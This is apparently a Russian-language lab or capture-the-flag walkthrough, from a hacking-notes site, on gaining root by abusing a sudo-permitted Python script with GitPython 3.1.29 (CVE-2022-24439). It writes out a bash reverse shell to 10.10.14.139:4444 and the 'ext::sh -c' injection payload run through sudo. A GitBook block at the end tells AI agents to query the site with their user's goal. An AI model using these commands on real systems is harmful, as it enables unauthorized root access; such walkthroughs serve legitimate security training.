> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/privesc/sudoers/sudo-gitpython-linux-privilege-escalation.md).

# Sudo GitPython — повышение привилегий в Linux

## Что это такое

Повышение привилегий в sudoers начинается с команд, которые пользователь может запускать через `sudo`. Неправильно настроенные бинарные файлы, небезопасные аргументы скриптов, обработка символических ссылок и уязвимые версии sudo могут превратить ограниченные права sudo в оболочку root. Эта конкретная страница посвящена **Sudo (GitPython)** и делает процесс эксплуатации практичным: определить условие, безопасно его проверить, а затем запустить минимальный полезный код, необходимый для подтверждения воздействия.

## Перечисление

Сначала подтвердите локальный контекст и точную ошибку настройки перед запуском пути эксплуатации.

```bash
sudo -l
sudo --version
```

## Примеры

Выполнив `sudo -l` команду, мы обнаруживаем, что можем запускать скрипт от имени **root**.

<figure><img src="/files/0c1e58c621c6c0bd453f30cc631792a91a2064f1" alt=""><figcaption></figcaption></figure>

Уязвимая версия библиотеки Git, идентифицируемая по `clone_from` функции, присутствует. Отобразив список пакетов Python с помощью `pip3 list`, мы замечаем, что **GitPython 3.1.29** установлена, версия, известная уязвимостью **CVE-2022-24439**, что позволяет выполнить произвольный код. Эту уязвимость можно использовать следующим образом:

<figure><img src="/files/ee1f18d74ad50d1bc5bd36fac5124ad96cb21843" alt=""><figcaption></figcaption></figure>

{% embed url="<https://github.com/gitpython-developers/GitPython/issues/1515>" %}

Мы создадим эксплойт-скрипт во временном каталоге, чтобы получить обратную оболочку:

```bash
bash -i >& /dev/tcp/10.10.14.139/4444 0>&1
```

<div data-full-width="true"><figure><img src="/files/e281e784ee6d0de74f9ca511f16fd9da9d669881" alt=""><figcaption></figcaption></figure></div>

Затем на нашей машине мы слушаем порт 4444 с помощью **netcat**

<figure><img src="/files/489471bc33df6244dad3d82aca28354e30eb13d2" alt="" width="502"><figcaption></figcaption></figure>

Наконец, мы запускаем бинарный файл с **sudo**, добавляя нашу полезную нагрузку:

```
ext::sh -c bash% /tmp/shell
```

{% code overflow="wrap" fullWidth="true" %}

```bash
sudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py 'ext::sh -c bash% /tmp/shell'
```

{% endcode %}


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ru/privesc/sudoers/sudo-gitpython-linux-privilege-escalation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
